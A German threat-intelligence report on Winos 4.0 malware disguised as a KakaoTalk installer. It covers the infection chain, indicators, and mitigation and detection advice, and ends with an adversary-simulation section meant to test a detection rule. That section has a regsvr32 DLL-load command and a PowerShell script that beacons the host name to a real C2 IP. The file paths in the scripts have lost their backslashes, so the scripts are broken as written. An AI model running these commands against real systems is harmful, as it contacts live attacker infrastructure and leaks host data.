Winos 4.0 Malware tarnt sich als KakaoTalk-Installer

Zusammenfassung

Angreifer missbrauchten SEO-Vergiftung, um einen gefälschten KakaoTalk-Installer an die Spitze der Suchergebnisse zu bringen. Der Installer trug ein ungültiges Code-Signing-Zertifikat und eingebettetes ein NSIS-Paket, das bösartige Dateien wie Verifier.exe und AutoRecoverDat.dll entpackte. Nach der Ausführung erreichte die Malware Persistenz durch DLL-Registrierung, geplante Aufgaben und ein Mutex und verband sich dann mit zwei separaten C2-Servern. Ihre Fähigkeiten umfassten Bildschirmaufnahmen, Systemprofiling und die Ausführung zusätzlicher Nutzlasten im Speicher.

Untersuchung

Das AhnLab Security Intelligence Center berichtete nach Beginn der Kampagne am 9. März von mehr als 5.000 kompromittierten PCs. Die Analyse zeigte, dass die verschlüsselten NSIS-Nutzlasten Verifier.exe und AutoRecoverDat.dll entschlüsseln und fallen lassen, ein Mutex erstellen und Shellcode aus GPUCache.xml-Dateien laden. Je nach Shellcode-Zweig kontaktierte die Malware die C2-Infrastruktur bei 192.238.129.47 oder 119.28.70.225. Persistenz wurde durch DLL-Registrierung und geplante Aufgaben aufrechterhalten, die entweder Verifier.exe oder rundll32 mit der bösartigen DLL starten.

Minderung

Organisationen sollten die bösartigen Domains und Download-URLs, die mit der Kampagne verbunden sind, blockieren. Erzwingen Sie eine strenge Code-Signatur-Überprüfung und verhindern Sie die Ausführung von Binärdateien mit ungültigen Zertifikaten. Anwendungs-Whitelisting sollte verwendet werden, um unbekannte NSIS-Installer am Ausführen zu hindern. Sicherheitsteams sollten auch auf das spezifische Mutex, verdächtige geplante Aufgaben und in dem Bericht aufgeführte Registrierungsänderungen überwachen.

Reaktion

Erkennungs-Teams sollten bei der Erstellung des Mutex 77825d8f-46d1-42d0-b298-83068bf9e31d und geplanten Aufgaben unter MicrosoftWindowsAppID alarmieren. Suchen Sie nach Verifier.exe und AutoRecoverDat.dll in Benutzerprofilverzeichnissen und blockieren Sie ausgehenden Verkehr zu den bekannten C2-IPs und -Ports. Führen Sie eine forensische Überprüfung der betroffenen Systeme durch und entfernen Sie alle Persistenz-Artefakte und bösartigen Komponenten vollständig.

Simulationserführung

Voraussetzung: Das Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertaktik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen müssen direkt die identifizierten TTPs widerspiegeln und dazu beitragen, die genaue Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.

• Angriffserzählung & Befehle:

  Der Gegner hat bereits bösartige DLLs im %LOCALAPPDATA%MicrosoftWindowsGPUCache Verzeichnis platziert, getarnt als legitime Cache-Dateien. Um die Nutzlast auszuführen, nutzt der Angreifer Regsvr32 (T1218.012), um die DLL zu laden, und verwendet dann die geladene Komponente, um eine C2-Kommunikation über den TCP-Port 18852 (oder den HTTPS-Port 443) zu dem fest codierten Server 192.238.129.47 zu initiieren. Dieser Netzwerkfluss ist der beobachtbare Indikator, den die Sigma-Regel überwacht.

  1. Lade bösartige DLL über Regsvr32

     regsvr32 /s "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"

  2. C2-Beacon initiieren (die bösartige DLL öffnet einen TCP-Socket zum C2-Server). Zum Testen emulieren wir das Beacon mit einem einfachen PowerShell TCP-Client, der sich mit derselben IP/Port verbindet.

     $c2 = New-Object System.Net.Sockets.TcpClient('192.238.129.47',18852)
     $stream = $c2.GetStream()
     $payload = [System.Text.Encoding]::ASCII.GetBytes("Beacon von $env:COMPUTERNAME")
     $stream.Write($payload,0,$payload.Length)
     $stream.Close()
     $c2.Close()

• Regressionstest-Skript: Das folgende Skript reproduziert die obigen Schritte von Anfang bis Ende und wird die exakte Netzwerk-Telemetrie erzeugen, die die Sigma-Regel erwartet.

  # -------------------------------------------------
  # Winos4.0 C2-Simulation – löst Sigma-Regel aus
  # -------------------------------------------------
  # 1. Lade die bösartige (simulierte) DLL über Regsvr32
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Write-Host "[*] Registriere bösartige DLL über Regsvr32..."
      regsvr32 /s $dllPath
  } else {
      Write-Error "[-] Simulierte DLL wurde unter $dllPath nicht gefunden – Abbruch."
      exit 1
  }
  
  # 2. Emuliere C2-Beacon zu der fest codierten IP/Port
  $c2IP   = '192.238.129.47'
  $c2Port = 18852
  
  Write-Host "[*] TCP-Verbindung zu $c2IP:$c2Port herstellen ..."
  try {
      $client = New-Object System.Net.Sockets.TcpClient($c2IP,$c2Port)
      $stream = $client.GetStream()
      $msg    = "Beacon von $env:COMPUTERNAME am $(Get-Date -Format o)"
      $bytes  = [System.Text.Encoding]::ASCII.GetBytes($msg)
      $stream.Write($bytes,0,$bytes.Length)
      Write-Host "[+] Beacon gesendet."
  } catch {
      Write-Error "[-] Verbindung fehlgeschlagen: $_"
  } finally {
      if ($stream) { $stream.Close() }
      if ($client) { $client.Close() }
  }
  # -------------------------------------------------

• Bereinigungskommandos: Entfernen Sie alle temporären Artefakte und schließen Sie verbleibende Verbindungen.

  # Entfernen Sie die simulierte bösartige DLL (falls es sich um ein Test-Artefakt handelte)
  $dllPath = "$env:LOCALAPPDATAMicrosoftWindowsGPUCacheGPUCache.xml"
  if (Test-Path $dllPath) {
      Remove-Item -Path $dllPath -Force
      Write-Host "[*] Simulierte DLL bereinigt."
  }
  
  # Stellen Sie sicher, dass keine verwaisten TCP-Listener verbleiben (unwahrscheinlich für nur clientseitig)
  Get-NetTCPConnection -RemoteAddress 192.238.129.47 -RemotePort 18852 | ForEach-Object {
      # Keine Aktion erforderlich; Verbindungen werden im Skript geschlossen.
  }